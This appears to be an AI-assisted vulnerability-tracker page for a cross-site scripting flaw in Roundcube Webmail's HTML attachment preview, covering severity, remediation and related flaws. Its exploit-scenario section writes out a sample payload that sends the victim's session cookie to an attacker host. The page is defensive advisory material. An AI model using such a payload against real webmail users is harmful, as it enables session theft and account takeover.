EUVD-2026-18581
GHSA-x4q5-8j5g-hpjc
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) indicates a network-accessible vulnerability with low attack complexity and no privilege requirement, but requiring user interaction (preview action). The scope is changed (cross-boundary impact), with low confidentiality and integrity impact but no availability impact. The CVSS score of 6.1 (medium) is justified by these parameters. However, real-world risk depends on user awareness: the attack requires a victim to actively preview a malicious attachment sent to them, making social engineering necessary. There is no confirmation of active exploitation (KEV status not provided), and no public exploit code is documented. This positions CVE-2026-35539 as a moderate-priority vulnerability suitable for standard patching cycles rather than emergency response, assuming organizations enforce user security awareness regarding suspicious attachments. |
| Exploit ScenarioDerived | A threat actor sends a specially crafted email to a Roundcube Webmail user with a text/html attachment containing embedded JavaScript (e.g., <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">). When the victim previews the attachment within Roundcube, the malicious script executes in the context of the webmail application, allowing the attacker to steal the user's session cookie, redirect them to a phishing page, or perform email operations on their behalf. No exploit code is publicly available, but crafting such a payload is trivial for anyone familiar with XSS techniques. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 03, 2026
Cross-site scripting (XSS) in Roundcube Webmail before versions 1.5.14 and 1.6.14 allows remote attackers to inject malicious scripts via insufficient HTML sanitization in text/html attachment preview mode. An authenticated user must preview a malicious text/html attachment to trigger the vulnerability, enabling attackers to steal session cookies, redirect users, or perform actions on behalf of the victim. No public exploit code or active exploitation has been confirmed; EPSS score of 6.1 reflects moderate real-world risk given the user interaction requirement.
RemediationAI
Vendor-released patches are available: upgrade Roundcube Webmail to version 1.5.14 or later (1.5.x branch) or 1.6.14 or later (1.6.x branch). Users on the 1.7 development track should update to 1.7-rc5 or any subsequent release. Patched releases are available at https://github.com/roundcube/roundcubemail/releases/tag/1.6.14 and https://github.com/roundcube/roundcubemail/releases/tag/1.5.14. The underlying fixes (commits 10a6d1fa and d742954c) improve HTML sanitization in the attachment preview handler. Until patching is possible, users should avoid previewing HTML attachments from untrusted sources and consider disabling HTML preview in attachment settings if available.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Roundcube Webmail's attachment preview functionality fails to properly sanitize HTML content in text/html MIME type attachments before rendering them in the browser. The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic reflected/stored XSS vulnerability pattern. When a user previews an HTML attachment, the application does not strip or escape dangerous HTML tags and JavaScript event handlers, allowing arbitrary script execution within the context of the webmail application. This affects all Roundcube Webmail versions up to 1.5.13 (in the 1.5.x branch) and up to 1.6.13 (in the 1.6.x branch), as identified by CPE cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*.
Know when Roundcube gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from Vendor (mitre) · only source for this CVE.
CVSS VectorVendor: mitre
Lifecycle Timeline
2DescriptionCVE.org
An issue was discovered in Roundcube Webmail before 1.5.14 and 1.6.14. XSS exists because of insufficient HTML attachment sanitization in preview mode. A victim must preview a text/html attachment.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in Roundcube Webmail Multiple Vulnerabilities
View all 8Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Roundcube Webmail before 1.1.10, 1.2.x before 1.2.7, and 1.3.x before 1.3.3 allows unauthorized access to arbitrary file
steps/mail/sendmail.inc in Roundcube before 1.1.7 and 1.2.x before 1.2.3, when no SMTP server is configured and the send
Directory traversal vulnerability in the set_skin function in program/include/rcmail_output_html.php in Roundcube before
rcube_image.php in Roundcube Webmail before 1.4.4 allows attackers to execute arbitrary code via shell metacharacters in
Roundcube Webmail before 1.4.4 allows attackers to include local files and execute code via directory traversal in a plu
The DBMail driver in the Password plugin in Roundcube before 1.1.0 allows remote attackers to execute arbitrary commands
A Cross-Site Scripting vulnerability in Roundcube through 1.5.7 and 1.6.x through 1.6.7 allows a remote attacker to stea
Multiple buffer overflows in the DBMail driver in the Password plugin in Roundcube before 1.1.0 allow remote attackers t
Roundcube Webmail allows arbitrary password resets by authenticated users. Rated high severity (CVSS 8.8), this vulnerab
Pre-authentication SQL injection in Roundcube Webmail's virtuser_query plugin allows unauthenticated remote attackers to
roundcube version 1.3.4 and earlier contains an Insecure Permissions vulnerability in enigma plugin that can result in e
Exploit-DB